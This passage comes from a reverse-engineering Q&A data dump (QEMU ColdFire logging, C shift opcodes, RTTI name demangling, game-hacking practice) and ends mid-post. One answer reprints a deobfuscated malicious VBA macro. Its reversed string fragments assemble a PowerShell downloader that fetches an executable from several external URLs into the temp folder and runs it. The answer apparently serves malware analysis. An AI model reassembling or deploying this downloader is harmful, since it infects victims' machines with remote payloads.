  <row Id="20508" PostTypeId="1" AcceptedAnswerId="20512" CreationDate="2019-01-30T10:41:04.077" Score="2" ViewCount="288" Body="&lt;p&gt;&lt;br&gt;&#xA;I'm trying reverse engineer the firmware, apparently bare metal, of an industrial controller. The device is based on a Coldfire controller, to be more precise, the &lt;strong&gt;MCF5282&lt;/strong&gt;. To track its behavior, I want to use Qemu in its M68k fashion which is supporting already the MCF5206 and the MCF5208. The Coldfire implementation of Qemu lacks in many places, and it seems targeted to run Linux after the bootloader has left the hardware in a particular state.  To run my firmware, I had to patch it removing all the hardware initialization, and write a new Qemu file for the CPU I wanted to target, the MCF5282. &lt;br&gt;&lt;br&gt;&#xA;So far, It seems that my code is working, and the CPU is initialized as the initialization code I have skipped would have done.&#xA;When I start my emulation, strangeness begins, and there I ask for your help for understanding what is going on.&#xA;When I run &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;qemu-system-m68k -nographic -cpu m5282 -kernel Firmware.bin.qemuPatched \&#xA;-serial telnet:127.0.0.1:4444,server,nowait \&#xA;-serial telnet:127.0.0.1:4445,server,nowait \&#xA;-serial telnet:127.0.0.1:4446,server,nowait \&#xA;-d in_asm -D execution.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I expected &lt;strong&gt;all&lt;/strong&gt; the instruction of the target CPU to be logged, and that's it is what's happened, at least until it reaches a branch instruction.&lt;br&gt;&#xA;That time forward, no more instructions are logged, though the emulation is continuing.&lt;br&gt;&lt;br&gt;&#xA;I can say that emulation is continuing because if I add to the logged properties the target machine status, I see that the CPU state is changing after the that last instruction is logged and the PC is changing also. &lt;br&gt;&#xA;The strangeness does not stop here, and if I follow the PC values, I see that CPU is executing instructions in the firmware address space in an unexpected way, to make a long story short, it seems it is sampling the real flow without writing every single step. &lt;br&gt;&lt;br&gt;&#xA;&lt;strong&gt;Does someone recognize in it the expected behavior?&lt;/strong&gt; &lt;br&gt;&lt;br&gt;&#xA;Also, at least one time, I found a call to a function &lt;strong&gt;(jsr)&lt;/strong&gt; where the flow logged seems to indicate that function is not executed.&#xA;It just logs the next instruction, but looking at the CPU state it's clear that function has been executed.&#xA;Is Qemu which is malfunctioning, or it's just me who can not understand what is going on?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;----------------&#xA;IN:&#xA;0x00004da6:  movel %fp@(8),%d6&#xA;&#xA;D0 = 00000064   A0 = 00082748   F0 = 7fff ffffffffffffffff  (         nan)&#xA;D1 = 00000028   A1 = 00084778   F1 = 7fff ffffffffffffffff  (         nan)&#xA;D2 = 00000025   A2 = 00000000   F2 = 7fff ffffffffffffffff  (         nan)&#xA;D3 = 00000000   A3 = 00000000   F3 = 7fff ffffffffffffffff  (         nan)&#xA;D4 = 00000000   A4 = 00000000   F4 = 7fff ffffffffffffffff  (         nan)&#xA;D5 = 00000000   A5 = 00000000   F5 = 7fff ffffffffffffffff  (         nan)&#xA;D6 = 00000000   A6 = 0008fe44   F6 = 7fff ffffffffffffffff  (         nan)&#xA;D7 = 00000000   A7 = 0008fe34   F7 = 7fff ffffffffffffffff  (         nan)&#xA;PC = 00004da6   SR = 2004 T:0 I:0 SI --Z--&#xA;FPSR = 00000000 ----&#xA;                                FPCR =     0000 X RN&#xA;  A7(MSP) = 00000000 -&amp;gt;A7(USP) = 0008fe30   A7(ISP) = 00000000&#xA;VBR = 0x00000000&#xA;SFC = 0 DFC 0&#xA;SSW 00000000 TCR 00000000 URP 00000000 SRP 00000000&#xA;DTTR0/1: 00000000/00000000 ITTR0/1: 00000000/00000000&#xA;MMUSR 00000000, fault at 00000000&#xA;----------------&#xA;IN:&#xA;0x00004daa:  jsr 0x4ca0&#xA;&#xA;D0 = 00000064   A0 = 00082748   F0 = 7fff ffffffffffffffff  (         nan)&#xA;D1 = 00000028   A1 = 00084778   F1 = 7fff ffffffffffffffff  (         nan)&#xA;D2 = 00000025   A2 = 00000000   F2 = 7fff ffffffffffffffff  (         nan)&#xA;D3 = 00000000   A3 = 00000000   F3 = 7fff ffffffffffffffff  (         nan)&#xA;D4 = 00000000   A4 = 00000000   F4 = 7fff ffffffffffffffff  (         nan)&#xA;D5 = 00000000   A5 = 00000000   F5 = 7fff ffffffffffffffff  (         nan)&#xA;D6 = 00000064   A6 = 0008fe44   F6 = 7fff ffffffffffffffff  (         nan)&#xA;D7 = 00000000   A7 = 0008fe34   F7 = 7fff ffffffffffffffff  (         nan)&#xA;PC = 00004daa   SR = 2000 T:0 I:0 SI -----&#xA;FPSR = 00000000 ----&#xA;                                FPCR =     0000 X RN&#xA;  A7(MSP) = 00000000 -&amp;gt;A7(USP) = 0008fe30   A7(ISP) = 00000000&#xA;VBR = 0x00000000&#xA;SFC = 0 DFC 0&#xA;SSW 00000000 TCR 00000000 URP 00000000 SRP 00000000&#xA;DTTR0/1: 00000000/00000000 ITTR0/1: 00000000/00000000&#xA;MMUSR 00000000, fault at 00000000&#xA;----------------&#xA;IN:&#xA;0x00004db0:  movew %d0,%d7&#xA;&#xA;D0 = 00000002   A0 = 000822c8   F0 = 7fff ffffffffffffffff  (         nan)&#xA;D1 = 00000020   A1 = 00084778   F1 = 7fff ffffffffffffffff  (         nan)&#xA;D2 = 0000007f   A2 = 00000000   F2 = 7fff ffffffffffffffff  (         nan)&#xA;D3 = 00000000   A3 = 00000000   F3 = 7fff ffffffffffffffff  (         nan)&#xA;D4 = 00000000   A4 = 00000000   F4 = 7fff ffffffffffffffff  (         nan)&#xA;D5 = 00000000   A5 = 00000000   F5 = 7fff ffffffffffffffff  (         nan)&#xA;D6 = 00000064   A6 = 0008fe44   F6 = 7fff ffffffffffffffff  (         nan)&#xA;D7 = 00000000   A7 = 0008fe34   F7 = 7fff ffffffffffffffff  (         nan)&#xA;PC = 00004db0   SR = 2000 T:0 I:0 SI -----&#xA;FPSR = 00000000 ----&#xA;                                FPCR =     0000 X RN&#xA;  A7(MSP) = 00000000 -&amp;gt;A7(USP) = 0008fe30   A7(ISP) = 00000000&#xA;VBR = 0x00000000&#xA;SFC = 0 DFC 0&#xA;SSW 00000000 TCR 00000000 URP 00000000 SRP 00000000&#xA;DTTR0/1: 00000000/00000000 ITTR0/1: 00000000/00000000&#xA;MMUSR 00000000, fault at 00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17411" LastActivityDate="2019-01-30T16:39:29.323" Title="Weird qemu behaviour with Freescale Coldfire MCF5282" Tags="|qemu|motorola|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20510" PostTypeId="2" ParentId="20506" CreationDate="2019-01-30T13:01:18.427" Score="1" Body="&lt;p&gt;the vba appears to be some thing like this &#xA;the functions appears to be useless the zillnp appears to take this string&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dIODu.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dIODu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can copy paste the strings and concatentate it &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sub foo()&#xA;zwrqd = &quot;c:\on&quot; + &quot;jzi&quot; + &quot;oi\&quot; + &quot;izwolr&quot; + &quot;\poic&quot; + &quot;wo\&quot; + &quot;..\&quot; + &quot;..\&quot;&#xA;szrtncm = &quot;..\win&quot; + &quot;dow&quot; + &quot;s\sys&quot; + &quot;tem32\&quot; + &quot;cmd.&quot; + &quot;exe /c&quot; + &quot; %Pro&quot; + &quot;gram&quot;&#xA;uvkplhz = &quot;Data&quot; + &quot;:~0,1&quot; + &quot;%%Pro&quot; + &quot;gra&quot; + &quot;mData:&quot; + &quot;~9,&quot; + &quot;2% /&quot; + &quot;V:ON/&quot; + &quot;C&quot; + Chr(34) + &quot;set&quot;&#xA;oujod = &quot; SiQ=;&quot; + &quot;'cjq&quot; + &quot;hpb'=&quot; + &quot;qijm&quot; + &quot;nd$}}&quot; + &quot;{hct&quot; + &quot;ac}};&quot;&#xA;kbuitlk = &quot;kaerb&quot; + &quot;;'bchk&quot; + &quot;zfb'=&quot; + &quot;dqk&quot; + &quot;zr$&quot; + &quot;;hkjzj&quot; + &quot;lz$ me&quot; + &quot;tI-e&quot; + &quot;kovnI{&quot;&#xA;bjzzhsa = &quot; )00&quot; + &quot;004 eg&quot; + &quot;- htg&quot; + &quot;nel.)h&quot; + &quot;kjzjlz&quot; + &quot;$ m&quot; + &quot;etI-t&quot; + &quot;eG((&quot; + &quot; fI;'&quot;&#xA;&#xA;&#xA;hzipdp = &quot;jrkj&quot; + &quot;ik'=ci&quot; + &quot;ikdj$&quot; + &quot;;)hkjz&quot; + &quot;jlz$&quot; + &quot; ,qjc&quot; + &quot;aki$(&quot; + &quot;eliFd&quot; + &quot;aoln&quot;&#xA;wcwhr = &quot;woD.ir&quot; + &quot;hwidj&quot; + &quot;${yrt&quot; + &quot;{)ujb&quot; + &quot;wa$ &quot; + &quot;ni qj&quot; + &quot;cak&quot; + &quot;i$(h&quot;&#xA;rmflwpm = &quot;caero&quot; + &quot;f;'&quot; + &quot;exe.'&quot; + Chr(43) + &quot;zbw&quot; + &quot;nifi$&quot; + Chr(43) + &quot;'\'&quot; + Chr(43) + &quot;pmet&quot; + &quot;:vne&quot;&#xA;wuvcz = &quot;$=hkj&quot; + &quot;zjlz&quot; + &quot;$;'ziw&quot; + &quot;mvv'=p&quot; + &quot;zrifo&quot;&#xA;kqwok = &quot;h$;'9&quot; + &quot;04' = &quot; + &quot;zbw&quot; + &quot;nifi$;&quot; + &quot;'sc&quot; + &quot;jmbw'&quot; + &quot;=fm&quot; + &quot;sqvii$&quot; + &quot;;)'@&quot;&#xA;wzkwjw = &quot;'(t&quot; + &quot;ilpS&quot; + &quot;.'41&quot; + &quot;fpege&quot; + &quot;LDa&quot;&#xA;hrzqojk = &quot;jCgKn&quot; + &quot;c/mo&quot; + &quot;c.sse&quot; + &quot;nisub&quot; + &quot;rusoh.&quot;&#xA;zpftzo = &quot;www//:&quot; + &quot;ptth@&quot; + &quot;Mw6O6&quot; + &quot;3Df_&quot; + &quot;Cm066C&quot; + &quot;cdkU&quot; + &quot;7o/moc&quot;&#xA;&#xA;rnncbhd = &quot;.ai&quot; + &quot;cizy&quot; + &quot;hp.ww&quot; + &quot;w//:pt&quot; + &quot;th@j&quot; + &quot;7OEo_7&quot;&#xA;zihij = &quot;MhAbZ&quot; + &quot;p6jnH&quot; + &quot;p/z&quot; + &quot;t.oc.s&quot; + &quot;keeg&quot;&#xA;dwpit = &quot;t.liam&quot; + &quot;//:&quot; + &quot;ptt&quot; + &quot;h@8or1&quot; + &quot;uzsd&quot; + &quot;Z8vi&quot; + &quot;e/RXI/&quot; + &quot;sed&quot; + &quot;ulcni-&quot;&#xA;wccvfj = &quot;pw/moc&quot; + &quot;.srev&quot; + &quot;ireht&quot; + &quot;ybkram&quot; + &quot;dnal//&quot; + &quot;:ptth&quot; + &quot;@R8Fd3&quot;&#xA;zuvtjrq = &quot;N9U&quot; + &quot;mbY&quot; + &quot;BzI/te&quot; + &quot;n.en&quot; + &quot;onil&quot;&#xA;afactw = &quot;etoh.&quot; + &quot;www/&quot; + &quot;/:ptt&quot; + &quot;h'=ujb&quot; + &quot;wa$;&quot; + &quot;tnei&quot;&#xA;worhm = &quot;lCbeW.&quot; + &quot;teN t&quot; + &quot;cejbo-&quot; + &quot;wen&quot; + &quot;=ir&quot; + &quot;hwidj$&quot; + &quot;;'imsi&quot;&#xA;vaipzq = &quot;zuu'=i&quot; + &quot;ijir&quot; + &quot;wb$ ll&quot; + &quot;%1,3-~&quot; + &quot;:PME&quot; + &quot;T%h%&quot; + &quot;1,4-&quot; + &quot;~:EMA&quot; + &quot;NNOI&quot;&#xA;zcdjvo = &quot;SSES%r&quot; + &quot;%1,5~&quot; + &quot;:CILB&quot; + &quot;UP%wo&quot; + &quot;p&amp;amp;&amp;amp;&quot; + &quot;for /&quot;&#xA;vwqmd = &quot;L %h i&quot; + &quot;n (65&quot; + &quot;7,-1&quot; + &quot;,0)&quot; + &quot;do s&quot; + &quot;et &quot; + &quot;nu=!&quot;&#xA;tlpisj = &quot;nu!!S&quot; + &quot;iQ:~&quot; + &quot;%h,&quot; + &quot;1!&amp;amp;&quot; + &quot;&amp;amp;if %h&quot; + &quot; eq&quot; + &quot;u 0 e&quot; + &quot;cho !n&quot;&#xA;nsfmr = &quot;u:~-6&quot; + &quot;58!|&quot; + &quot; cmd&quot; + Chr(34) + &quot; &quot;&#xA;&#xA;&#xA;uhdurz = zwrqd + szrtncm + uvkplhz + oujod + kbuitlk + bjzzhsa&#xA;jitovh = hzipdp + wcwhr + rmflwpm + wuvcz + kqwok + wzkwjw + hrzqojk + zpftzo&#xA;wwiqv = rnncbhd + zihij + dwpit + wccvfj + zuvtjrq + afactw + worhm + vaipzq + zcdjvo + vwqmd + tlpisj + nsfmr&#xA;&#xA;&#xA;MsgBox (uhdurz + jitovh + wwiqv)&#xA;&#xA;End Sub&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-01-30T13:01:18.427" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20511" PostTypeId="2" ParentId="12730" CreationDate="2019-01-30T16:25:02.000" Score="8" Body="&lt;p&gt;Expensive commercial solutions: Beagle (400€), Ellisys (800 - 3200€), MQP, International Test Instruments (600€), Teledyne Lecroy (1000€), USBeee (1000 - 2000€).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheapest commercial solution I found : Keelog Morphstick, 125€, which is within your budget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DIY solutions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/matlo/serialusb&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/matlo/serialusb&lt;/a&gt; USB device -&gt; USB cable -&gt; Sniffing PC -&gt; USB cable -&gt; GIMX adapter -&gt; USB cable -&gt; Host PC.&lt;/li&gt;&#xA;&lt;li&gt;several FPGA based ones: &lt;a href=&quot;http://essentialscrap.com/dsoquad/usb.html&quot; rel=&quot;noreferrer&quot;&gt;http://essentialscrap.com/dsoquad/usb.html&lt;/a&gt;, &#xA;&lt;a href=&quot;http://ultra-embedded.com/usb_sniffer&quot; rel=&quot;noreferrer&quot;&gt;http://ultra-embedded.com/usb_sniffer&lt;/a&gt;, &#xA;&lt;a href=&quot;http://openvizsla.org/&quot; rel=&quot;noreferrer&quot;&gt;http://openvizsla.org/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;with an oscilloscope and python scripts &lt;a href=&quot;https://rdist.root.org/2010/12/27/building-a-usb-protocol-analyzer/&quot; rel=&quot;noreferrer&quot;&gt;https://rdist.root.org/2010/12/27/building-a-usb-protocol-analyzer/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You might also dig into &quot;USB over IP&quot;.&lt;/p&gt;&#xA;" OwnerUserId="27300" LastActivityDate="2019-01-30T16:25:02.000" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20512" PostTypeId="2" ParentId="20508" CreationDate="2019-01-30T16:39:29.323" Score="1" Body="&lt;p&gt;I got the explanation by another source, and It seems to me to be appropriate post here the answer I received.&lt;br&gt; &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is weird, in my eyes I mean, but it is expected behavior, and make also sense with the necessary explanation. &lt;br&gt;&#xA;The nature of Qemu, &lt;strong&gt;a JIT translator&lt;/strong&gt;, implies that all code of the target CPU is translated into the code of the host CPU. &lt;br&gt;When My code branches to a code part which has been already translated, it just do not translate it again. For that reason, I don't see the istructions in the code log but I see the CPU state changing.&lt;/p&gt;&#xA;" OwnerUserId="17411" LastActivityDate="2019-01-30T16:39:29.323" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20513" PostTypeId="1" AcceptedAnswerId="20565" CreationDate="2019-01-30T17:11:34.743" Score="7" ViewCount="6035" Body="&lt;p&gt;Which operators in C language would result in assembly commands such as &lt;code&gt;sal, shl, sar or shr&lt;/code&gt; for example?&lt;/p&gt;&#xA;" OwnerUserId="27301" LastEditorUserId="3162" LastEditDate="2019-01-31T09:19:59.173" LastActivityDate="2019-10-12T04:55:14.660" Title="Which operators use sal, shl, sar or shr" Tags="|assembly|c|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20514" PostTypeId="2" ParentId="20513" CreationDate="2019-01-30T18:50:09.723" Score="4" Body="&lt;pre&gt;&lt;code&gt;int main (void){&#xA;    unsigned int    uin =  0x1000;&#xA;    signed int      sin = -0x1000;&#xA;   return (uin&amp;lt;&amp;lt;8)+(uin&amp;gt;&amp;gt;8)+(sin&amp;lt;&amp;lt;8)+(sin&amp;gt;&amp;gt;8);   &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled and linked with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cl /Zi /W4 /Od /analyze /nologo salsaar.cpp /link /release&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;disassembled&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cdb -c &quot;uf salsaar!main;q&quot; salsaar.exe | grep -A 20 Reading&#xA;0:000&amp;gt; cdb: Reading initial command 'uf salsaar!main;q'&#xA;salsaar!main:&#xA;01121000 55              push    ebp&#xA;01121001 8bec            mov     ebp,esp&#xA;01121003 83ec08          sub     esp,8&#xA;01121006 c745fc00100000  mov     dword ptr [ebp-4],1000h&#xA;0112100d c745f800f0ffff  mov     dword ptr [ebp-8],0FFFFF000h&#xA;01121014 8b45fc          mov     eax,dword ptr [ebp-4]&#xA;01121017 c1e008          shl     eax,8&#xA;0112101a 8b4dfc          mov     ecx,dword ptr [ebp-4]&#xA;0112101d c1e908          shr     ecx,8&#xA;01121020 03c1            add     eax,ecx&#xA;01121022 8b55f8          mov     edx,dword ptr [ebp-8]&#xA;01121025 c1e208          shl     edx,8&#xA;01121028 03c2            add     eax,edx&#xA;0112102a 8b4df8          mov     ecx,dword ptr [ebp-8]&#xA;0112102d c1f908          sar     ecx,8&#xA;01121030 03c1            add     eax,ecx&#xA;01121032 8be5            mov     esp,ebp&#xA;01121034 5d              pop     ebp&#xA;01121035 c3              ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;note shl and sal are both same (opcodes are same and work same ) shr and sar are not same due to signed unsigned diffferences&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-01-30T18:50:09.723" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20516" PostTypeId="1" AcceptedAnswerId="20523" CreationDate="2019-01-30T22:51:57.843" Score="3" ViewCount="1884" Body="&lt;p&gt;I'm currently browsing through RTTI information available in an MSVC++2003 executable (writing an IDAPython script to recreate structs for the class hierarchy). Apparently, as visualized &lt;a href=&quot;http://www.openrce.org/articles/img/igor2_rtti1.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, the RTTI Type Descriptor stores something like the name of the classes or their constructor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.?AVexception@@&#xA;    .?AUescaped_list_error@boost@@&#xA;    .?AVruntime_error@stlp_std@@&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, it sports a mangling scheme I do not recognize yet. The name starts with a &lt;code&gt;.&lt;/code&gt; which, according to this &lt;a href=&quot;https://en.wikiversity.org/wiki/Visual_C%2B%2B_name_mangling#Basic_Structure&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;, is not even a valid start for a mangled MSVC name. IDA and &lt;a href=&quot;http://demangler.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;an online name demangler&lt;/a&gt; also cannot demangle these names. According &lt;a href=&quot;http://www.openrce.org/downloads/details/196&quot; rel=&quot;nofollow noreferrer&quot;&gt;to these scripts&lt;/a&gt; (s. ms_rtti4.idc) these should map to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typeid(struct exception)&#xA;    typeid(struct boost::escaped_list_error)&#xA;    typeid(struct stlp_std::runtime_error)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried removing the leading dot to get a valid start at least, but it is still invalid. Quickly writing an overly simplistic python line to at least fix namespaced class names...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return &quot;::&quot;.join(reversed(name[4:-2].split(&quot;@&quot;)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...it of course fails with generic type names, as with these classes here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ns::FunctionBase             (.?AVFunctionBase@ns@@)&#xA;    ns::Z::P6AXPAX::?$FunctionT  (.?AV?$FunctionT@P6AXPAX@Z@ns@@)&#xA;    ns::Z::P6AHH::?$FunctionT    (.?AV?$FunctionT@P6AHH@Z@ns@@)&#xA;    ns::Z::P6AHPB_W::?$FunctionT (.?AV?$FunctionT@P6AHPB_W@Z@ns@@)&#xA;    ns::Z::P6AHI::?$FunctionT    (.?AV?$FunctionT@P6AHI@Z@ns@@)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I noticed removing the &lt;code&gt;.?AU&lt;/code&gt; or &lt;code&gt;.?AV&lt;/code&gt; prefix from those yields kinda useful results (missing the namespace sadly):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FunctionT@ns@@&#xA;    FunctionT&amp;lt;void (__cdecl*)(void *)&amp;gt;&#xA;    FunctionT&amp;lt;int (__cdecl*)(int)&amp;gt;&#xA;    FunctionT&amp;lt;int (__cdecl*)(wchar_t const *)&amp;gt;&#xA;    FunctionT&amp;lt;int (__cdecl*)(unsigned int)&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...but again that one now doesn't work for non-generic names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder if the RTTI Type Descriptor name scheme is documented, or if there is logic turning this into an actual RTTI name I can demangle with the usual tools?&lt;/p&gt;&#xA;" OwnerUserId="6957" LastEditorUserId="6957" LastEditDate="2019-01-31T13:43:51.647" LastActivityDate="2022-02-20T23:30:56.360" Title="How can I demangle the name in an RTTI Type Descriptor?" Tags="|msvc|name-mangling|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20517" PostTypeId="2" ParentId="20516" CreationDate="2019-01-31T05:09:01.067" Score="2" Body="&lt;p&gt;vc++filt seems to demangle it &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;?AVexception@@&#xA; ?? AVexception&#xA;?AUescaped_list_error@boost@@&#xA; ?? boost::AUescaped_list_error&#xA;?AVruntime_error@stlp_std@@&#xA; ?? stlp_std::AVruntime_error&#xA;?AUescaped_list_error@boost@@&#xA; ?? boost::AUescaped_list_error&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;src slightly edited to strip . in front&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cat cpp.cpp&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;dbghelp.h&amp;gt;&#xA;#pragma comment(lib,&quot;dbghelp.lib&quot;)&#xA;#define MAXLEN 0x1000&#xA;char buff[MAXLEN];&#xA;int main (int argc , char * argv[])&#xA;{&#xA;memset(buff,0,MAXLEN);&#xA;if( argc !=2 )&#xA;    {&#xA;        printf (&quot;usage %s undemsym&quot;,argv[0]);&#xA;        exit(-1); &#xA;    }&#xA;    char *nodot;&#xA;    if( *(char *) argv[1] == '.'  )&#xA;    {&#xA;        nodot = argv[1]+1;&#xA;    }&#xA;    else if (*(char *) argv[1] == '?')&#xA;    {&#xA;        nodot = argv[1];&#xA;    }&#xA;    else&#xA;    {        &#xA;        printf(&quot;not a valid msvc mangled name\n&quot;);&#xA;        exit(-2);&#xA;    }&#xA;    if ( ( UnDecorateSymbolName(nodot , buff,MAXLEN,UNDNAME_COMPLETE)) !=0 )&#xA;        {&#xA;            printf (&quot;%s\n&quot;,buff);&#xA;        }&#xA;        else&#xA;        {&#xA;            printf(&quot;error %x\n&quot; , GetLastError());&#xA;        }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compile link&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cl /Zi /W4 /analyze /Od cpp.cpp /link /release&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;test&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cpp.exe&#xA;usage cpp.exe sym&#xA;cpp.exe .?AVruntime_error@stlp_std@@&#xA;.?AVruntime_error@stlp_std@@&#xA;&#xA;cpp.exe ?AVruntime_error@stlp_std@@&#xA; ?? stlp_std::AVruntime_error&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;edit for comment (add these lines to src above)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ( UnDecorateSymbolName(nodot , buff,MAXLEN,  UNDNAME_NO_ARGUMENTS )) !=0 )&#xA;{&#xA;    printf (&quot;%s\n&quot;,buff);&#xA;}&#xA;else&#xA;{&#xA;    printf(&quot;error %x\n&quot; , GetLastError());&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;result&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cppundem.exe .?AUescaped_list_error@boost@@&#xA; ?? boost::AUescaped_list_error&#xA;struct boost::escaped_list_error&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;full results&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\cat mang.txt&#xA;.?AVFunctionBase@ns@@&#xA;.?AV?$FunctionT@P6AXPAX@Z@ns@@&#xA;.?AV?$FunctionT@P6AHH@Z@ns@@&#xA;.?AV?$FunctionT@P6AHPB_W@Z@ns@@&#xA;.?AV?$FunctionT@P6AHI@Z@ns@@&#xA;:\for /F %i in (mang.txt) do cppundem.exe %i&#xA;&#xA;:\cppundem.exe .?AVFunctionBase@ns@@&#xA; ?? ns::AVFunctionBase&#xA;class ns::FunctionBase&#xA;&#xA;:\cppundem.exe .?AV?$FunctionT@P6AXPAX@Z@ns@@&#xA;?AV?$FunctionT@P6AXPAX@Z@ns@@&#xA;class ns::FunctionT&amp;lt;void (__cdecl*)(void *)&amp;gt;&#xA;&#xA;:\cppundem.exe .?AV?$FunctionT@P6AHH@Z@ns@@&#xA;?AV?$FunctionT@P6AHH@Z@ns@@&#xA;class ns::FunctionT&amp;lt;int (__cdecl*)(int)&amp;gt;&#xA;&#xA;:\cppundem.exe .?AV?$FunctionT@P6AHPB_W@Z@ns@@&#xA;?AV?$FunctionT@P6AHPB_W@Z@ns@@&#xA;class ns::FunctionT&amp;lt;int (__cdecl*)(wchar_t const *)&amp;gt;&#xA;&#xA;:\cppundem.exe .?AV?$FunctionT@P6AHI@Z@ns@@&#xA;?AV?$FunctionT@P6AHI@Z@ns@@&#xA;class ns::FunctionT&amp;lt;int (__cdecl*)(unsigned int)&amp;gt;&#xA;&#xA;:\&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-01-31T17:48:50.910" LastActivityDate="2019-01-31T17:48:50.910" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20518" PostTypeId="1" CreationDate="2019-01-31T07:11:35.997" Score="3" ViewCount="1518" Body="&lt;p&gt;I've checked several crack me sites and they're all on reverse engineering applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I would like to practice reverse engineering by manipulating game values. The cheat engine tool allows us to do this. There's also a bunch of other tools (ex. tsearch) but cheat engine is the most popular. It involves searching through the RAM for various values, and then manipulating the pointer, creating patches to have permanent effects in memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The normal sites aren't a good practice for this because games typically have lots of changing values, especially those that change with user input. Are there any crackme sites which allow me to practice reverse engineering using cheat engine? &lt;/p&gt;&#xA;" OwnerUserId="27291" LastActivityDate="2019-02-04T19:51:56.590" Title="Are there any crackme sites made for cheat engine or to practice game hacking particularly?" Tags="|crackme|cheat-engine|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20519" PostTypeId="1" CreationDate="2019-01-31T09:28:56.940" Score="1" ViewCount="2833" Body="&lt;p&gt;I am writing a Pin tool with the following functionality:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It has to record instructions with arguments. (works well)&lt;/li&gt;&#xA;&lt;li&gt;It has to record memory access operations associated with instructions. (works well)    &lt;/li&gt;&#xA;&lt;li&gt;It has to record a name of a function that is being called (if the name is available from external library). This functionality is based on calltrace.cpp from examples provided with Intel Pin. (Partially works well)       &lt;/li&gt;&#xA;&lt;li&gt;It has to record where a return instruction has landed (a function name, or, a main module of an instrumented executable). E.g. funcA is called, then funcB is called from funcA, then return from funcB lands in funcA. Recording of rets to functions partially works well, 